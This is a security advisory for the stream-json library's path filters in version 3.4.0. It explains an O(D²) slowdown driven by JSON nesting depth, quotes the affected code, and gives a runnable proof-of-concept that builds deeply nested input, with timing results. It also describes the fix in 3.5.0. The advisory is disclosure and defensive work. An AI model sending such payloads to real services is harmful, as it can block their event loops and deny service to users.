GHSA-528h-pc64-c93x

## Description

The path filters `pick`, `ignore`, `filter`, and `replace` — the library's headline "surgical extraction" feature — recompute the full path string from the nesting stack on **every checkable token**. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth *D* costs **O(D²)**, not O(D).

This is triggered by document **structure (nesting depth), not byte volume**, so a tiny payload achieves outsized CPU cost, and it is the ordinary "traverse until the filter matches" path — including the exact README flagship example `pick({filter: 'data'})`. Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body — the primary documented use case — can be made to block its event loop.

### Affected code (v3.4.0)

`src/core/filters/filter-base.js`:

```js // L26-32 — string filter: rejoins the ENTIRE stack on every call const stringFilter = (string, separator) => { const stringWithSeparator = string + separator; return stack => { const path = stack.join(separator); // O(depth) — every call return path === string || path.startsWith(stringWithSeparator); }; };

// L34-39 — regexp filter: same const regExpFilter = (regExp, separator) => { return stack => { regExp.lastIndex = 0; return regExp.test(stack.join(separator)); // O(depth) — every call }; }; ```

```js // L194 — filter(stack, chunk) is invoked for EVERY checkable token while in the 'check' state const action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction; ```

`stack` is pushed/popped on `startObject`/`startArray`/end (L239-250), so `stack.length === depth`. For a depth-*D* document that hasn't matched yet, `filter()` runs once per level and each call is O(depth) ⇒ **O(D²)** total.

**Not affected:** the `streamArray`/`streamObject`/`streamValues` streamers use `asm.depth` (an O(1) getter), so they don't exhibit this. The issue is specific to `filter-base.js` recomputing the path string.

## Proof of concept

``` npm i stream-json@3.4.0 node poc-quadratic-dos.mjs ```

```js import parserStream from 'stream-json'; import { pick } from 'stream-json/filters/pick.js'; import chain from 'stream-chain';

function run(D) { const doc = '{"meta":'.repeat(D) + '1' + '}'.repeat(D); // depth D, never matches "data" return new Promise((resolve) => { const t0 = process.hrtime.bigint(); const pipeline = chain([parserStream(), pick({ filter: 'data' })]); pipeline.on('data', () => {}); pipeline.on('end', () => resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 })); pipeline.write(doc); pipeline.end(); }); } for (const D of [5000, 10000, 20000, 40000]) { const r = await run(D); console.log(`D=${r.D} bytes=${r.bytes} ms=${Math.round(r.ms)}`); } ```

Measured (Node v24, single core, clean `npm i stream-json@3.4.0`):

``` D=5000 bytes= 45001 ms= 160 D=10000 bytes= 90001 ms= 603 (3.8x for 2x input -> quadratic) D=20000 bytes=180001 ms= 2511 (4.2x) D=40000 bytes=360001 ms=11823 (4.7x) ```

A **~360 KB** body (pure nesting, no data) blocks the event loop for **~12 seconds**; extrapolating O(D²), ~1–2 MB reaches single-digit minutes of CPU on one request.

## Impact

Remote, unauthenticated denial of service against any application that runs untrusted JSON through `pick`/`ignore`/`filter`/`replace` with a string or RegExp filter — the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.

## Suggested fix

Maintain the joined path incrementally instead of rejoining the whole stack per token: - On `startObject`/`startArray` push: append `separator + key` to a cached path string (and remember the pre-push length). - On end/pop: truncate the cached path back to the remembered length. - Filters test/`startsWith` against the cached string — O(1) amortized per token, making the whole traversal O(D).

Alternatively expose/enforce a maximum nesting depth for the filter path check.

## Resolution

Fixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with `maxDepth: Infinity`.